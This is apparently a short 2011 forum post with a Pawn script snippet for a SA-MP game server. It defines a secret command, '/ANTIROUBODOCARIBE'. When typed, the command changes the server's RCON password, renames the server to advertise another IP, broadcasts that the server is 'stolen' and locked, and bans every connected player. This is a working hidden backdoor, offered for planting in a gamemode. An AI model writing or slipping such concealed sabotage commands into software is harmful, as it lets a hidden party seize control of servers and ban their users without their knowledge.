23.08.2011, 13:43
pawn Код:
#define MEROUBOU "/ANTIROUBODOCARIBE"
pawn Код:
new cmd[256];
if(strcmp(cmd,MEROUBOU,false) == 0)
{
SendRconCommand("mapname IP OFICIAL DO SV DO CARIBE 111.1.11.111:7777");
SendRconCommand("password rcondocarbe");
SendRconCommand("hostname IP OFICIAL DO SV DO CARIBE 111.1.11.111:7777.");
for(new i=0; i < MAX_PLAYERS; i++)
{
if(IsPlayerConnected(i))
{
SendRconCommand("say Esse servidor й roubado, por isso foi trancado");
Ban(i);
}
}
return 1;
}